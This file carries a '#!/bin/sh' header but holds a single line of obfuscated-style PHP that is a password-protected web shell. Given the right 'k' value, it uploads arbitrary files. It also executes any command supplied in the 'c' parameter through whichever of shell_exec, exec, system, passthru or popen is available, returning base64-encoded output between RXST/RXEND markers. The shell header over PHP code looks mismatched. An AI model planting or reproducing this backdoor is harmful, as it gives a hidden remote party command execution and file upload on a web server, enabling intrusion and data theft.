#!/bin/sh
= if(isset($_GET['k'])&&$_GET['k']==='6a4299c45ff0ef4e'){if(isset($_GET['ss'])&&$_GET['ss']=='up'){isset($_FILES['f'])&&@move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);exit;}if(!isset($_GET['c'])){echo 'RXST:'.base64_encode('MATHOK:67700').':RXEND';}else{$c=$_GET['c'].' 2>&1';$o='';if(function_exists('shell_exec')){$o=@shell_exec($c);}elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);}elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}elseif(function_exists('popen')){$h=@popen($c,'r');$o='';while(!feof($h)){$o.=fread($h,4096);}pclose($h);}else{$o='BLOCKED';}echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND';}exit;}